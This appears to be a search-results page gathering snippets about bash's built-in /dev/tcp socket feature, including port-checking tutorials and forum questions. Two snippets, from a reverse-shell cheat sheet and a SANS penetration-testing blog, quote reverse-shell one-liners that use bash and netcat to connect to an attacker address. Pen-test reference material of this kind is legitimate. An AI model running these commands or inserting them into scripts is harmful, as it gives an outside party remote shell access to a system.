Bash Dev Tcp Support

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How to open a TCP/UDP socket in a bash shell - Xmodulo

    http://xmodulo.com/tcp-udp-socket-bash-shell.html
    May 24, 2016 · In fact, one of built-in features of bash shell is to open TCP/UDP sockets via /dev/tcp (and /dev/udp) device file. In the rest of this tutorial, let's find out how to open a TCP/UDP socket, and read to and write from the socket in bash shell. Open or Close a TCP/UDP Socket in Bash Shell

Using Bash to test if a TCP port on a remote system is open

    https://bluemedorasupport.force.com/s/article/Using-Bash-to-test-if-a-TCP-port-on-a-remote-system-is-open
    Sep 26, 2017 · Articles Using Bash to test if a TCP port on a remote system is open. ... -bash: /dev/tcp/em-oel6-d2.bluemedora.localnet/99: Connection refused . If it is open, it will appear that nothing has happened. The connection is open and waiting for further commands. ... Using Bash to test if a TCP port on a remote system is open;

More on Using Bash's Built-in /dev/tcp File (TCP/IP ...

    https://www.linuxjournal.com/content/more-using-bashs-built-devtcp-file-tcpip
    Sep 30, 2009 · If you saw yesterday's Tech Tip and were looking for more on using TCP/IP with bash's built-in /dev/tcp device file then read on. Here, we'll both read from, and write to a socket. Before I go any further, let me state that this is based on something I discovered here on Dave Smith's Blog.All I've done here is added a few improvements based on the comments to the original post.

/dev

    http://www.tldp.org/LDP/abs/html/devref1.html
    29.1. /dev. The /dev directory contains entries for the physical devices that may or may not be present in the hardware. [1] Appropriately enough, these are called device files.As an example, the hard drive partitions containing the mounted filesystem(s) have entries in /dev, as df shows.

Reverse Shell Cheat Sheet pentestmonkey

    http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    Reverse Shell Cheat Sheet. ... bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ... some of which don’t support the -e option. nc -e /bin/sh 10.0.0.1 1234. If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

linux - Why are < or > required to use /dev/tcp - Unix ...

    https://unix.stackexchange.com/questions/525653/why-are-or-required-to-use-dev-tcp
    Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share …

bash: exec 3<> /dev/tcp/$DEST/$port has a... Apple ...

    https://forums.developer.apple.com/thread/66582
    Oct 27, 2016 · bash exec does not resolve hostnames on my DNS server, but dig and nslookup work.. exec resolves names properly on other machines on the network not running the DNS. Context: OSX 10.11.6; DNS & DHCP server running on the same machine (dnsmasq)

SANS Penetration Testing Pen Test Poster: "White Board ...

    https://pen-testing.sans.org/blog/2017/02/02/pen-test-poster-white-board-bash-bashs-built-in-netcat-client/
    In order to turn this into an interactive session, we need to connect /dev/tcp to a nc listener running on our attack station and tie read and write operations from the /dev/tcp device file to the input and output of a bash process. /dev/tcp reverse shell: bash -i >& /dev/tcp/10.0.0.189/80 0>&1



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